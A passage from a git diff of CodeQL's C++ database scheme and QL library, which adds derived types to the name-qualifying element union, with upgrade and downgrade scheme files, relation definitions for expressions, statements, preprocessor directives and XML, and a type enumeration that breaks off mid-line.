@istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +| 394 = @isinvocable +| 395 = @isnothrowinvocable +| 396 = @isbitwisecloneable +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + | @isinvocable + | @isnothrowinvocable + | @isbitwisecloneable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +param_ref_to_this( + int expr: @param_ref ref +) + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_default ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +| 40 = @stmt_leave +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue | @stmt_leave; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 17 = @ppd_embed +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +embeds( + unique int id: @ppd_embed ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/*- Database metadata -*/ + +/** + * The CLI will automatically emit applicable tuples for this table, + * such as `databaseMetadata("isOverlay", "true")` when building an + * overlay database. + */ +databaseMetadata( + string metadataKey: string ref, + string value: string ref +); + +/*- Overlay support -*/ + +/** + * The CLI will automatically emit tuples for each new/modified/deleted file + * when building an overlay database. + */ +overlayChangedFiles( + string path: string ref +); + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; diff --git a/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/upgrade.properties b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/upgrade.properties new file mode 100644 index 000000000000..d3a842d2cbb5 --- /dev/null +++ b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/upgrade.properties @@ -0,0 +1,2 @@ +description: Fix NameQualifier inconsistency +compatibility: full diff --git a/cpp/ql/lib/semmle/code/cpp/Type.qll b/cpp/ql/lib/semmle/code/cpp/Type.qll index fa2d2d605d87..4069b58134be 100644 --- a/cpp/ql/lib/semmle/code/cpp/Type.qll +++ b/cpp/ql/lib/semmle/code/cpp/Type.qll @@ -1071,7 +1071,7 @@ class NullPointerType extends BuiltInType { * const float fa[40]; * ``` */ -class DerivedType extends Type, @derivedtype { +class DerivedType extends Type, NameQualifyingElement, @derivedtype { override string toString() { result = this.getName() } override string getName() { derivedtypes(underlyingElement(this), result, _, _) } diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme b/cpp/ql/lib/semmlecode.cpp.dbscheme index ef8d209a22e2..0853f43dc8c0 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme @@ -1430,7 +1430,8 @@ specialnamequalifyingelements( @namequalifyingelement = @namespace | @specialnamequalifyingelement | @usertype - | @decltype; + | @decltype + | @derivedtype; namequalifiers( unique int id: @namequalifier, diff --git a/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/old.dbscheme b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/old.dbscheme new file mode 100644 index 000000000000..ef8d209a22e2 --- /dev/null +++ b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/old.dbscheme @@ -0,0 +1,2577 @@ + +/*- Compilations -*/ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- C++ dbscheme -*/ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +/** + * Gives the TRAP filename that `trap` is associated with. + * For debugging only. + */ +trap_filename( + int trap: @trap, + string filename: string ref +); + +/** + * Gives the tag name for `tag`. + * For debugging only. + */ +tag_name( + int tag: @tag, + string name: string ref +); + +@trap_or_tag = @tag | @trap; + +/** + * Gives the name for the source file. + */ +source_file_name( + int sf: @source_file, + string name: string ref +); + +/** + * In `build-mode: none` overlay mode, indicates that `source_file` + * (`/path/to/foo.c`) uses the TRAP file `trap_file`; i.e. it is the + * TRAP file corresponding to `foo.c`, something it transitively + * includes, or a template instantiation it transitively uses. + */ +source_file_uses_trap( + int source_file: @source_file ref, + int trap_file: @trap ref +); + +/** + * In `build-mode: none` overlay mode, indicates that the TRAP file + * `trap_file` uses tag `tag`. + */ +trap_uses_tag( + int trap_file: @trap ref, + int tag: @tag ref +); + +/** + * Holds if there is a definition of `element` in TRAP file or tag `t`. + */ +in_trap_or_tag( + int element: @element ref, + int t: @trap_or_tag ref +); + +pch_uses( + int pch: @pch ref, + int compilation: @compilation ref, + int id: @file ref +) + +#keyset[pch, compilation] +pch_creations( + int pch: @pch, + int compilation: @compilation ref, + int from: @file ref +) + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location_default ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +case @function.kind of + 0 = @unknown_function +| 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +// ... 6 = @builtin_function deprecated // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +builtin_functions( + int id: @function ref +) + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +// ... 40 _Decimal32 +// ... 41 _Decimal64 +// ... 42 _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +| 63 = 